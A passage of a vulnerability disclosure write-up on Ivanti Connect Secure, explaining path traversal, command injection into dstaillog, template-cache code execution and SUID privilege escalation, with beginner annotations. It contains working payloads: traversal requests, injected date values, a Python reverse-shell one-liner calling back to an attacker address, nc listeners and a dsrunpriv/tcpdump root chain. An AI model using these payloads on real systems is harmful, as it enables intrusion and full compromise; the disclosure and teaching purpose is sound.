  • open(*FILE, $filepath) opens whatever path came out of the previous line. If it fails, a log message is written.
  • The while loop reads the file 1024 bytes at a time and appends each chunk to $contents, counting the total.
  • If nothing was read, the script answers 404 Not Found. Otherwise it builds a download file name from the which value split on a dash, and sends the file contents back as an attachment.

The which parameter is appended to $g_path and opened directly. Sending a traversal sequence in which reads any file the web service can open, and that service runs as root on the appliance. root is the all-powerful account on a Linux system: it can read and change anything. A web service running as root means a file read through the web page is a file read with no restrictions.

HTTP
POST /dana-admin/archive/snapshot.cgi HTTP/1.1
Host: redacted
Cookie: DSSignInURL=/admin; DSSIGNIN=url_admin; id=[redacted]; DSID=[redacted]; DSDID=2db16ceb79970213; DSFirstAccess=1674480500; DSLastAccess=1674480544
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
[...]
Referer: https://redacted/dana-admin/archive/snapshot.cgi
[...]
op=download&which=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..
%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&xsauth=[redacted]

This is an HTTP request, the format a browser uses to talk to a web server. Reading it line by line:

  • POST /dana-admin/archive/snapshot.cgi HTTP/1.1 says "send data to this address using HTTP version 1.1". POST is the method used when you submit a form.
  • Host: redacted names the server. The real name has been removed.
  • Cookie: carries the administrator session cookies described in the setup, so the server treats the request as coming from a logged-in admin.
  • User-Agent: says which browser made the request.
  • Referer: says which page the request came from.
  • The last line is the body of the request: op=download asks for a download, which= carries the file name, and xsauth= carries the anti-CSRF token.

The which value is a URL-encoded chain of ../ segments ending in etc/passwd. URL encoding is how special characters travel inside a URL: / becomes %2F, so ../ becomes ..%2F. The server decodes it back to ../ before using it. /etc/passwd is a classic Linux file that lists user accounts; it is a favourite proof for a file read because it is always present and harmless to show. The response returns the file as an attachment:

HTTP
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="../../../../../../../../../../../../../../../../../../../etc/passwd1969/12/31 16:00:00.zip"
Set-Cookie: DSLastAccess=1674480761; path=/; Secure
[...]
Strict-Transport-Security: max-age=31536000

root:x:0:0:root:/:/bin/bash
nfast:x:0:0:nfast:/:/bin/bash
[...]
tcpdump:x:103:103:TCPDump User:/:
  • HTTP/1.1 200 OK means the request succeeded.
  • Content-Type: application/octet-stream says the body is raw binary data, which is what a browser expects for a download.
  • Content-Disposition: attachment; filename=... tells the browser to save the body as a file with that name. The name is built from the which value split on -, which is why the traversal string and a formatted timestamp appear in it.
  • Set-Cookie: updates the session's last-access time.
  • Strict-Transport-Security tells the browser to keep using HTTPS for this site.
  • The body is the content of /etc/passwd. Each line is one account: name, placeholder password, numeric user and group IDs, home folder and login shell. Seeing root and nfast here proves the server handed over a file from outside the intended folder.

This vulnerability has been fixed since Ivanti Connect Secure version 9.1R13. Version 9.1R12 is vulnerable and was still supported by the constructor at the time. Ivanti acknowledged the issue but noted it was already addressed in 9.1R13 and is not applicable to 22.x.

V02: remote code execution

The appliance does not filter input before appending it to a command execution, which allows an attacker to inject extra arguments. An argument is one of the words after a command name that tells it what to do, like -a or a file name. If user input is glued into a command line without care, a user can add arguments the author never intended, or even a second command. In the /dana-admin/log/logfilter.cgi script, the save log feature calls the dstaillog binary with arguments controlled by the user:

PERL
// /home/webserver/htdocs/dana-admin/log/logviewer.cgi@saveLog
sub saveLog {
    my $cmd = "";
    [...]
    $cmd = $ENV{'DSINSTALL'}."/bin/dstaillog -a -b -t $Main::Type -i $ivsId";
    if (DSLicense::isEnabled($DSLicense::FT_logreport)) {
        my $filter = $Main::Filter;
        $filter =~ s/\"/\'/g;
        my $encodedFilter = MIME::Base64::encode($filter, "");
        $cmd .= " --base64query \"".$encodedFilter."\"";
        if ($Main::Begin ne "") {
            $cmd .= " --begindate $Main::Begin";
        }
        if ($Main::End ne "") {
            $cmd .= " --enddate $Main::End";
        }
    }
    # --format needs to be appended at the very end of the command
    # because --format takes multiple arguments to generate multi line
    # messages.
    $cmd .= " --format '$formatExplicit'";
    my $fd = popen(*LOG, $cmd, "r");
    DSLog::Msg("logviewer", 10, "Reading dstaillog's output for saving $Main::Type logs for ivs $ivsId");
    while(<LOG>) {
        print $_ ;
    }
    DSLog::Msg("logviewer", 10, "Done reading dstaillog's output for saving $Main::Type logs for ivs $ivsId");
    close(*LOG) ;
    printf ("\n");

What this does, step by step:

  • my $cmd = ""; starts an empty command string.
  • $cmd = $ENV{'DSINSTALL'}."/bin/dstaillog -a -b -t $Main::Type -i $ivsId"; builds the beginning of the command: the install folder, then the dstaillog program, then some fixed options and two values ($Main::Type and $ivsId).
  • If the log report feature is licensed, the script takes the filter text, replaces double quotes with single quotes, and encodes it in Base64. Base64 is a way of turning any text into letters and digits so it can travel safely inside a command line.
  • It then appends --base64query with that encoded filter.
  • If $Main::Begin is not empty, it appends --begindate followed by its value. If $Main::End is not empty, it appends --enddate followed by its value. These two are the interesting ones: they are pasted in with no quoting and no escaping.
  • It appends --format with the format string, then calls popen to run the whole line through the shell and read what the program prints.

The Main::Begin and Main::End variables are properly controlled if they come directly from user input. However, no verification is performed if the values are loaded from the database:

PERL
// /home/webserver/htdocs/dana-admin/log/logviewer.cgi@main
sub main {
    […]
    ($Main::FilterSelected, $Main::FilterName, $Main::Filter, $Main::FormatType, $Main::Format, $Main::FormatExplicit, $Main::Begin, $Main::End) = DSLogAdmin::loadFilter ($loadfilter, $Main::Type);
    [...]
    # Get the current date we're filtering on
    if (defined (CGI::param ("date")) && CGI::param ("date") ne "" && (CGI::param ("date") =~ /-[0-9]/)) {
        #$Main::Error_Msg .= "<br><b>debug: filterdate = ".CGI::param ("date")."</b>";
        $Main::FilterDate = CGI::param ("date");
        $Main::Begin = $Main::FilterDate;
        $Main::End = $Main::FilterDate;
    }
    [...]
  • The long assignment line calls DSLogAdmin::loadFilter and fills eight variables at once, including Main::Begin and Main::End, from a saved filter.
  • =~ /-[0-9]/ is a pattern match: it only asks whether the text contains something like -1 anywhere.
  • If so, the date value is copied into both Main::Begin and Main::End.

The DSLogAdmin::loadFilter function only loads values from the database (cached value) and returns them:

PERL
// /home/perl/DSLogAdmin.pm@loadFilter
sub loadFilter ($$) {
    my ($id, $type) = @_;
    if ($id != "default" && ! DSLicense::isEnabled ($DSLicense::FT_logreport)) {
        return loadFilter ("default", $type);
    }
    if (! filterExists ($id)) {
        return loadFilter ("default", $type);
    }
    my ($name, $begin, $end, $filter, $format_type, $format, $formatExplicit);
    (new DSCacheItem ("logserver", "filter_".$id, "name"))->getStr ($name);
    (new DSCacheItem ("logserver", "filter_".$id, "begin"))->getStr ($begin);
    (new DSCacheItem ("logserver", "filter_".$id, "end"))->getStr ($end);
    (new DSCacheItem ("logserver", "filter_".$id, "format_type"))->getStr ($format_type);
    (new DSCacheItem ("logserver", "filter_".$id, "filter"))->getStr ($filter);
    (new DSCacheItem ("logserver", "filter_".$id, "format"))->getStr ($format);
    [...]
    return ($id, $name, $filter, $format_type, $format, $formatExplicit, $begin, $end);

}
  • The function receives an identifier and a type.
  • If the identifier is not default and the log report feature is not licensed, it falls back to the default filter. If the filter does not exist, it also falls back.
  • Otherwise it reads each stored field (name, begin, end, format_type, filter, format) from the cache and returns them. Nothing here checks what those stored values contain; they are simply handed back.

Moreover, no verification is performed when creating the filter in dana-admin/log/logfilter.cgi. The type of the values used to create the Main::End variable is not checked:

PERL
// /home/webserver/htdocs/dana-admin/log/logfilter.cgi@main
sub main {
    [...]
    if (defined (CGI::param ("btnSave"))) {
        [...]
        if (CGI::param ("chkEndDate") eq "yes") {
            my $f_end_bits = 3;
            if (CGI::param ("endYYYY") == "") {
                $f_end_bits--;
            }
            if (CGI::param ("endMM") == "") {
                $f_end_bits--;
            }
            if (CGI::param ("endDD") == "") {
                $f_end_bits--;
            }
            if ($f_end_bits == 0) {
                $f_end = "";
            }
            if ($f_end_bits == 3) {
                $f_end = CGI::param ("endYYYY")."-".CGI::param ("endMM")."-".CGI::param ("endDD");
            }
            if ($f_end_bits == 1 || $f_end_bits == 2) {
                $Main::Error_Msg .= DSUILogAdmin::EndDateInvalid ();
                $all_ok = 0;
                $incomplete_date = 1;
            }
        }
        [...]
        if ($all_ok) {
            if ($Main::FilterSelected ne "default" && ($Main::FilterName ne $f_name || $Main::Filter ne $f_filter || $Main::Begin ne $f_begin || $Main::End ne $f_end || $Main::FormatExplicit ne $f_format || $Main::FormatType ne $f_type)) {
                # check if we switched to custom, but the format didn't change
                my $equal = ($f_format eq $Main::FormatExplicit);
                if ($Main::FormatType ne "Custom" && $f_type eq "Custom" && $equal) {
                    $f_type = $Main::FormatType;
                    $f_format = $Main::Format;
                }
                $f_format = CGI::unescapeHTML($f_format);
                DSLogAdmin::saveFilter ($Main::FilterSelected, $f_name, $f_begin, $f_end, $f_filter, $f_type, $f_format);
                DSLog::RereadConfig ()
            }

            [...]
  • The outer if runs when the Save button was pressed.
  • If the end-date checkbox is ticked, the code counts how many of the three date parts (year, month, day) are filled in, starting from 3 and subtracting one for each empty part.
  • If all three are empty, the end date is set to an empty string. If all three are present, the code glues them together with dashes: year, month, day. If only one or two are present, it shows an error and refuses to save.
  • The code checks whether the parts are empty, but the type of the values is not checked. A day field holding 31 -f ... counts as "present" and is stored as is.
  • When everything is fine, the code compares the new values with the old ones and, if anything changed, calls DSLogAdmin::saveFilter to store them.

The same logic is applied to Main::Begin. Finally, the DSLogAdmin::saveFilter function only adds the values to the cached database:

PERL
// /home/perl/DSLogAdmin.pm@saveFilter
sub saveFilter ($$$$$$$) {
    my ($id, $name, $begin, $end, $filter, $type, $format) = @_;
    my $added = 0;
    if (!filterExists ($id)) {
        my $change = new DSCacheChanges();
        $change->createItem(new DSCacheItem("logserver", "filter_".$id));
        $change->commit ();
        $added = 1;
    }
    (new DSCacheItem ("logserver", "filter_".$id, "name"))->updateStr ($name);
    (new DSCacheItem ("logserver", "filter_".$id, "begin"))->updateStr ($begin);
    (new DSCacheItem ("logserver", "filter_".$id, "end"))->updateStr ($end);
    (new DSCacheItem ("logserver", "filter_".$id, "format_type"))->updateStr ($type);

    [...]
  • The function receives the filter's fields as arguments.
  • If the filter does not exist yet, it creates a new cache entry and commits it.
  • Then it writes each field into the cache: name, begin, end, format type. No validation, no escaping, just storage.

By creating a filter, it is possible to inject an argument into the dstaillog command execution. Using this, a file can be written in the template caching directory /data/var/runtime/tmp/tt/, which will be loaded and executed when some cached pages are requested. A template is a page skeleton with placeholders that the server fills in before sending it; the server keeps compiled copies in a cache folder so it does not have to rebuild them every time. If an attacker can write a file into that folder, the server may later treat it as a page and run whatever it contains. The malicious filter is created by injecting the argument in the endDD parameter:

HTTP
POST /dana-admin/log/logfilter.cgi?filter=4&type=events HTTP/1.1
Host: redacted
Cookie: DSSignInURL=/admin; DSSIGNIN=url_admin; id=[redacted]; DSID=[redacted]; DSDID=142638fd3a1ab6c8; DSFirstAccess=1674484636; DSLastAccess=1674484664; DSLaunchURL=[redacted]
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 366
Origin: https://redacted
Referer: https://redacted/dana-admin/log/logfilter.cgi?filter=4&type=events
[...]
xsauth=[redacted]&cancel=cancel&type=events&filter=4&view=0&txtNa
me=synacktivfilter&chkStartDate=no&startMM=&startDD=&startYYYY=&chkEndDate=yes&endMM=12&endDD=31+f+%27%24x%3D%22ls%22%2Csystem%24x%27+%3E%2Fdata%2Fvar%2Fruntime%2Ftmp%2Ftt
%2Fsetcookie.thtml.ttc+%23+
%3C&endYYYY=2099&txtQuery=&chkExportFormat=Custom&txtExportFormat=&btnSave=Save
  • The URL ?filter=4&type=events says which filter is being edited and which log type it applies to.
  • Content-Type: application/x-www-form-urlencoded is the format a normal HTML form uses: name=value pairs joined by &.
  • Content-Length: 366 is the size of the body in bytes.
  • Origin and Referer say where the request came from.
  • The body is the form: the anti-CSRF token, the filter name synacktivfilter, the start date left empty, the end date enabled, month 12, year 2099, and the day field endDD carrying the payload. The payload is URL-encoded, so + means a space, %27 is a single quote, %24 is $, %3D is =, %22 is a double quote, %3E is >, %2F is / and %23 is #.
HTTP
HTTP/1.1 302 Moved
location: /dana-admin/log/logfilters.cgi?type=events
Content-Type: text/html; charset=utf-8
Set-Cookie: DSLastAccess=1674484867; path=/; Secure
[...]

With this injection, the endDD value is:

Text
31 -f '$x="ls",system$x' >/data/var/runtime/tmp/tt/setcookie.thtml.ttc # <

Read this as a shell would. 31 is the day. -f is an option that tells dstaillog to use the following text as a format. '$x="ls",system$x' is the format text, in single quotes. > redirects output into the file /data/var/runtime/tmp/tt/setcookie.thtml.ttc, overwriting it. # starts a comment, so the rest of the line is ignored. The format text is a small Perl snippet: it sets $x to the string ls and calls system$x, which runs ls (the command that lists files) when the template is later processed.

Moreover, the Main::End value when saving the logs will be:

Text
2023-12-31 -f '$x="ls",system$x' >/data/var/runtime/tmp/tt/setcookie.thtml.ttc # <

The year, month and day are glued together with dashes, and the payload rides along after the day. This value is injected into the command line execution when requesting the save log mechanism:

This is the step that makes the server build the dstaillog command line containing the stored payload.

This payload is parsed by the DSSafe::_parsecmd function and the standard output is written into the /data/var/runtime/tmp/tt/setcookie.thtml.ttc file. That output is the value provided as a format using the -f argument. In conclusion, this writes $x="ls",system$x into a cached file, and the ls command is executed when the endpoint is requested:

Bash
$ curl -ksi https://redacted.com/dana-na/auth/setcookie.cgi
HTTP
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: DSPSALPREF=IzAjhZ%2FOY9rSCgABAAAA1ciHs%2BeHwYr%2FhO8ReLdHE6BZcnQ2ZBAn%2FRW
%2FsP1yhJE%3D; path=/; expires=Wed, 25-Jan-2023 14:53:57 GMT; secure
[...]
AgentInstall.thtml
AgentlessInstall.thtml
Cancel-ipad.thtml
[...]
user_unknown_mobile_webkit.thtml
welcome.cgi
Status: 500 Internal Error
Content-Type: text/html
<H2>500 Internal Error</H2><br>
An unexpected error was encountered while executing the CGI<br>
Please contact the administrator.

The response body lists template names and ends with a 500 Internal Error.

Ivanti acknowledged this vulnerability but could not reproduce the command execution. They did consider the possibility of injecting malicious characters and stated that it would be filtered by the DSSafe Perl class. Synacktiv nevertheless confirms that the patch provided with version 22.4R2 properly fixes the vulnerability, and provides a script in the appendix to achieve remote code execution on a 22.4R1 installation:

Bash
$ python3 run.py -u https://redacted.com/ -U admin -P *** -m 1
-c 'cat /home/VERSION'

This runs the helper script against the appliance with the admin credentials and a command to run. cat /home/VERSION prints the contents of a file.

Text
2023-05-24 19:07:43,537 - INFO - Method 1 is patched on 22.4R2.
2023-05-24 19:07:46,346 - INFO - Submit login form
[...]
2023-05-24 19:07:50,494 - INFO - Logout
2023-05-24 19:07:50,504 - INFO - Calling endpoint to execute command with custom HTTP header
export DSREL_MAJOR=22
export DSREL_MINOR=4
export DSREL_MAINT=1
export DSREL_DATAVER=4901
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1439
export DSREL_COMMENT="R1"

The export lines show major version 22, minor 4, maintenance 1.

Bash
$ python3 run.py -u https://redacted.com/ -e -c 'id'

id is a standard Linux command that prints who the current user is.

Text
2023-05-24 18:52:49,708 - INFO - Running directly command
2023-05-24 18:52:49,708 - INFO - Calling endpoint to execute command with custom HTTP header

uid=0(root) gid=0(root) groups=0(root)

uid=0(root) means the command ran as root, the all-powerful account. The injected command therefore runs with full privileges on this version.

uname -a prints details about the operating system and kernel.

Text
2023-05-24 18:52:55,627 - INFO - Running directly command
2023-05-24 18:52:55,627 - INFO - Calling endpoint to execute command with custom HTTP header
Linux localhost2 [redacted]-production #1 SMP Thu Feb 9 05:35:25 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

On 22.4R1 the injected command runs as root.

V03: remote code execution (CVE-2023-41719)

Using the logic from the previous vulnerability, the /dana-admin/log/logfilter.cgi script does not escape command arguments before calling the dstaillog binary. As explained before, the saveLog function does not escape Main::End or Main::Begin values:

PERL
// /home/webserver/htdocs/dana-admin/log/logviewer.cgi@saveLog
sub saveLog {
    my $cmd = "";
    [...]
    $cmd = $ENV{'DSINSTALL'}."/bin/dstaillog -a -b -t $Main::Type -i $ivsId";
    if (DSLicense::isEnabled($DSLicense::FT_logreport)) {
        my $filter = $Main::Filter;
        $filter =~ s/\"/\'/g;
        my $encodedFilter = MIME::Base64::encode($filter, "");
        $cmd .= " --base64query \"".$encodedFilter."\"";
        if ($Main::Begin ne "") {
            $cmd .= " --begindate $Main::Begin";
        }
        if ($Main::End ne "") {
            $cmd .= " --enddate $Main::End";
        }
    }
    # --format needs to be appended at the very end of the command
    # because --format takes multiple arguments to generate multi line
    # messages.
    $cmd .= " --format '$formatExplicit'";
    my $fd = popen(*LOG,

$cmd, "r");

This is the same function as in V02: it builds a command string and runs it through the shell. The difference is where the malicious value comes from. While the previous vulnerability focused on injecting values into Main::End by inserting a malicious filter, the same values can be set after the filter is loaded:

PERL
// /home/webserver/htdocs/dana-admin/log/logviewer.cgi@main
sub main {
    […]
    ($Main::FilterSelected, $Main::FilterName, $Main::Filter, $Main::FormatType, $Main::Format, $Main::FormatExplicit, $Main::Begin, $Main::End) = DSLogAdmin::loadFilter ($loadfilter, $Main::Type);
    [...]
    # Get the current date we're filtering on
    if (defined (CGI::param ("date")) && CGI::param ("date") ne "" && (CGI::param ("date") =~ /-[0-9]/)) {
        #$Main::Error_Msg .= "<br><b>debug: filterdate = ".CGI::param ("date")."</b>";
        $Main::FilterDate = CGI::param ("date");
        $Main::Begin = $Main::FilterDate;
        $Main::End = $Main::FilterDate;
    }
    [...]

Here the filter is loaded first, and then a date parameter sent in the request overwrites Main::Begin and Main::End. The only check is the loose pattern /-[0-9]/, which merely asks whether the text contains a dash followed by a digit somewhere. As the regex condition is loose, it is possible to inject malicious characters into the Main::Begin and Main::End variables. A regex (regular expression) is a pattern used to test text; a loose one matches far more than intended. Providing a date parameter as the following input writes the output of the dstaillog process into a template file:

Text
2099-12-31 2>&1 >/data/var/runtime/tmp/tt/setcookie.thtml.ttc < "
  • 2099-12-31 looks like a date and satisfies the pattern.
  • 2>&1 means "send error messages to the same place as normal output".
  • > redirects that output into the template cache file.
  • < " opens a quoted, empty file name as input, which the parser tolerates.

The value is reflected in Main::Begin and Main::End, and generates the following command with the user-controlled data in red:

Text
/home/bin/dstaillog -a -b -t $Main::Type -i $ivsId --begindate $Main::Begin --enddate $Main::End --format '$formatExplicit'

This is the command line the script intends to run, with placeholders for the values. By injecting the malicious date parameter, the command becomes:

Text
/home/bin/dstaillog -a -b -t $Main::Type -i $ivsId --begindate 2099-12-31 2>&1 >/data/var/runtime/tmp/tt/setcookie.thtml.ttc < " --enddate 2099-12-31 2>&1 >/data/var/runtime/tmp/tt/setcookie.thtml.ttc < " --format '$formatExplicit'

Thanks to DSSafe's parsing:

  • The value between quotes is considered an input file and is not sent as an argument.
  • The command output is written to the file /data/var/runtime/tmp/tt/setcookie.thtml.ttc.

It is possible to write anything in the formatExplicit variable into the selected file. Synacktiv used the same logic as before, creating a filter that hosts the payload in the custom format, then calling the saveLog feature with the malicious date. In other words, the payload is stored in the filter's format field, and the malicious date is the trigger that redirects the program's output into a template file, which then runs the payload when the page is requested.

On 22.4R2 the service handling the request runs as nr, a non-root user but still a member of the root group on the appliance. A user is an account a program runs under; a group is a set of users that share permissions. Being in the root group gives access to many files that an ordinary user cannot touch, even without being root itself. The helper script confirms this:

The command again prints the version file.

Text
2023-05-24 19:02:23,086 - INFO - Submit login form
[...]
2023-05-24 19:02:25,535 - INFO - Logout
2023-05-24 19:02:25,545 - INFO - Calling endpoint to execute command with custom HTTP header
export DSREL_MAJOR=22
export DSREL_MINOR=4
export DSREL_MAINT=2
export DSREL_DATAVER=5000
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1531
export DSREL_COMMENT="R2"

The export lines now show maintenance 2.

Bash
$ python3 run.py -u https://redacted.com/ -e -c 'id'
Text
2023-05-24 19:02:31,225 - INFO - Running directly command
2023-05-24 19:02:31,226 - INFO - Calling endpoint to execute command with custom HTTP header

uid=104(nr) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0

uid=104(nr) shows the command ran as the nr user, not root. gid=0(root) shows its group is root, which is the partial privilege mentioned above. The context= part is a SELinux label, a security tag the system attaches to processes; it is not needed to follow the rest.

Text
2023-05-24 19:02:35,235 - INFO - Running directly command
2023-05-24 19:02:35,235 - INFO - Calling endpoint to execute command with custom HTTP header
Linux localhost2 [redacted]-selinux-jailing-production #1 SMP Wed Jan 25 08:26:29 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

V04: privilege escalation (CVE-2023-41720)

Using V03, it is possible to obtain a reverse shell as the nr user on 22.4R2 by hosting a Python script somewhere and running it. A reverse shell is a connection where the victim machine calls back to the attacker and hands over a command prompt. It is called reverse because the connection goes from the inside out, which usually passes firewalls more easily than an incoming connection.

Bash
$ cat rev.py
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.76
.2",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(
"/bin/sh")

cat prints a file. This one-line Python script opens a network connection to a chosen address and port, wires that connection to the program's standard input, output and error, and starts a shell (/bin/sh) attached to it. The result is that whoever is listening on the other end gets a command prompt on the appliance.

This uses the V03 command execution to run curl on the appliance, downloading the script from the attacker's web server into /tmp/rev.py.

Text
2023-05-25 15:00:59,759 - INFO - Submit login form
2023-05-25 15:00:59,825 - INFO - Already running session found. Let's continue
2023-05-25 15:01:01,493 - INFO - Creating filter with legit values
2023-05-25 15:01:02,055 - INFO - Logout
2023-05-25 15:01:02,062 - INFO - Calling endpoint to execute command with custom HTTP header
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   192  100   192    0     0  96000      0 --:--:-- --:--:-- --:--:-- 96000

The curl progress table shows 192 bytes downloaded.

Text
2023-05-25 15:01:49,192 - INFO - Submit login form
2023-05-25 15:01:49,273 - INFO - Already running session found. Let's continue
2023-05-25 15:01:51,011 - INFO - Creating filter with legit values
2023-05-25 15:01:51,625 - INFO - Logout
2023-05-25 15:01:51,633 - INFO - Calling endpoint to execute command with custom HTTP header
^C
Bash
$ nc -vnlp 9999

This is the attacker's side, waiting for the appliance to call back.

Text
Listening on [redacted] 9999
Connection received on [redacted] 51894
sh-4.2$ id
id

uid=104(nr) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0

The appliance connected back, and the prompt sh-4.2$ is a shell on it. Running id confirms it is the nr user, still in the root group.

The nr user is a member of the root group, which is already privileged, but one SUID binary can be used to elevate the current privileges to the root user. A SUID binary is a program marked so that it runs with the permissions of its owner rather than of the person who launched it. If a SUID program is owned by root, anyone who runs it gets root's power for the duration of that program. That is a normal design for tools like passwd, but it becomes dangerous when the program lets the caller choose what to run. The binary is used to run privileged commands from an unprivileged user:

Bash
sh-4.2$ find / -perm -4000 2>/dev/null
/home/bin/dsrunpriv

The result is one file: /home/bin/dsrunpriv.

An attacker with a shell as the non-root user can elevate privileges on the appliance:

Bash
sh-4.2$ /home/bin/dsrunpriv --help
/home/bin/dsrunpriv --help
Usage: dsrunpriv OPTIONAL[--no-ld-preload|--save-pid-to-file <file name>] binary name full path and it's arguments.

--no-ld-preload - will clear out the /etc/ld.so.preload file for the duration of

                   the run

                   (this option is meant to be used with firejail only)

--ld-preload [list of libraries separated by ":"] - preload the specified libraries before anything else. This option is not compatible with --no-ld-preload

--save-pid-to-file <file name> - will save the pid process pid to the specified file under: /data/runtime/pids/. (the file name should just be the name of the file, not the location)

--setenv [list of environment variables (in key=value format) with each key=value pair separated by ","]. Eg: dsrunpriv --setenv VAR1=<value>,VAR2=<value>...

Example: dsrunpriv --no-ld-preload --save-pid-to-file tcpdump.pid /usr/local/bin/firejail /usr/bin/tcpdump -s 0 -C 512 -W 1 -e -i int0 -w /home/runtime/tcpdump/tcpdump.dump

In other words, it is a wrapper that lends its root privileges to whatever you ask it to run. The example shows it being used to start firejail, a sandboxing program, which in turn starts tcpdump, a network capture tool.

The example illustrates a usage with the tcpdump binary, which can execute a command using the -z option. The --noprofile option of the firejail binary allows executing something without a security profile. By associating these options, it is possible to execute code as root from an unprivileged user:

Bash
sh-4.2$ id
uid=104(nr) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
sh-4.2$ export PATH="/bin:${PATH}"
sh-4.2$ echo 'id' > /tmp/command
sh-4.2$ chmod a+x /tmp/command
sh-4.2$ ls -al /tmp/command
-rwxr-xr-x. 1 nr root 3 May 25 06:16 /tmp/command
sh-4.2$ /home/bin/dsrunpriv /usr/local/bin/firejail --noprofile /usr/bin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/command
  • id confirms the starting point: user nr, group root.
  • echo 'id' > /tmp/command writes a tiny script containing the command id into a file.
  • chmod a+x /tmp/command makes that file executable.
  • ls -al /tmp/command shows the file exists and is executable.
  • The long dsrunpriv line is the trick: dsrunpriv runs firejail as root, --noprofile tells firejail not to apply a security profile, and tcpdump is told with -z /tmp/command to run that file when it finishes capturing. Since the whole chain started as root, the script runs as root.
Text
Parent pid 9281, child pid 9282
The new log directory is /proc/9282/root/var/log
Warning: /var/lock not mounted
Warning: cannot find /var/run/utmp
Child process initialized in 4.28 ms
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]

uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:dsjailing_t:s0
Parent is shutting down, bye...
sh-4.2$

It proves the script ran as root.

Using this command execution it is possible to create a reverse shell running as root. First the previous rev.py file is edited to connect to another port:

Bash
sh-4.2$ sed -i 's/9999/9998/g' /tmp/rev.py
sh-4.2$ echo '/home/venv3/bin/python3 /tmp/rev.py' > /tmp/command
sh-4.2$ /home/bin/dsrunpriv /usr/local/bin/firejail --noprofile /usr/bin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/command
  • sed -i 's/9999/9998/g' /tmp/rev.py edits the script in place, replacing port 9999 with 9998.
  • echo '/home/venv3/bin/python3 /tmp/rev.py' > /tmp/command puts the command that starts the reverse shell into the file that tcpdump will run.
  • The dsrunpriv line is the same chain as before, now running the reverse shell as root.
Text
Parent pid 9526, child pid 9527
The new log directory is /proc/9527/root/var/log
Warning: /var/lock not mounted
Warning: cannot find /var/run/utmp
Child process initialized in 19.07 ms
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
^C
Bash
$ nc -vnlp 9998
Text
Listening on [redacted] 9998
Connection received on [redacted] 54296
sh-4.2# id

uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:dsjailing_t:s0

The prompt is now sh-4.2#, and id confirms uid=0(root).

Root cause

  • V01: downloadFile in snapshot.cgi concatenates the which parameter onto $g_path and passes the result to open without a traversal check, so ../ sequences escape the intended directory.
  • V02 and V03: saveLog in logviewer.cgi builds a shell command string for popen from Main::Begin and Main::End. Direct user input to those variables is controlled, but values loaded from the cached filter database are not validated, and the filter creation code in logfilter.cgi does not check the type of the date components it stores. In V03 the date parameter is only checked against the loose regex /-[0-9]/, so shell metacharacters pass through into --begindate and --enddate. The DSSafe parsing then treats the quoted remainder as an input file and redirects the command output into a template cache file, which is later loaded and executed.
  • V04: the nr user is in the root group, and the SUID binary /home/bin/dsrunpriv runs arbitrary binaries with elevated privileges. Combined with firejail --noprofile and tcpdump -z, this gives root code execution.

Impact

  • V01: an authenticated administrator can read any file on the server, because the service handling the request runs as root on the appliance.
  • V02: an authenticated administrator can inject an argument into the dstaillog command and write a file into the template caching directory, which is executed when cached pages are requested. On 22.4R1 the injected command ran as root.
  • V03: an authenticated administrator can write into the template cache and execute commands as nr, a non-root user but a member of the root group since 22.4R2.
  • V04: an attacker with a shell as the non-root user can elevate to root through dsrunpriv.

All of these require administrator access to the appliance.

Fix

  • V01 was already addressed in Ivanti Connect Secure 9.1R13 and is not applicable to 22.x.
  • V02 was patched in 22.4R2. Synacktiv confirms the 22.4R2 patch properly fixes the vulnerability, even though Ivanti could not reproduce the command execution.
  • V03 and V04 were reported on 2023.05.26 and received CVE-2023-41719 and CVE-2023-41720 on 2023.11.10.

Variants to test

  1. On other appliances, look for CGI scripts that build a file path from a request parameter and pass it to open. A positive result is a response whose body contains the contents of a file outside the intended directory, such as /etc/passwd.
  2. Look for admin features that save values into a database and later reload them into a shell command. A positive result is a stored value that appears unescaped in the command line, for example a date field that accepts spaces and shell metacharacters.
  3. Test date or filter parameters against loose regexes such as /-[0-9]/. A positive result is a value containing >, <, 2>&1 or quotes that reaches the command and changes where output is written.
  4. Enumerate SUID binaries on the appliance and check whether any wrapper runs arbitrary binaries with elevated privileges. A positive result is a wrapper whose help output shows options to run a binary with arguments, as dsrunpriv does.
  5. Check whether template cache directories are writable by the web user and whether cached templates are re-rendered from disk. A positive result is a file written through a command injection that is later executed when the corresponding page is requested.

Glossary

  • Argument: a word after a command name that tells the command what to do, such as an option or a file name.
  • Base64: an encoding that turns any text into letters and digits so it can travel safely inside a command line.
  • Cache: a store of data kept for speed so the server does not have to recompute it every time.
  • CGI: a way for a web server to run a program for each request; the program receives the request and prints the response.
  • Cookie: a small piece of text a website asks your browser to store and send back with every request, used to recognise your session.
  • CSRF (cross-site request forgery): an attack where a malicious page makes your browser send a request to a site you are already logged in to.
  • CVE: a public catalogue number given to a known security flaw so everyone can refer to it by the same name.
  • Group: a set of user accounts that share permissions.
  • HTTP: the format browsers and servers use to exchange requests and responses.
  • Parameter: a named value sent with a request, usually after a ? in the URL or inside a form body.
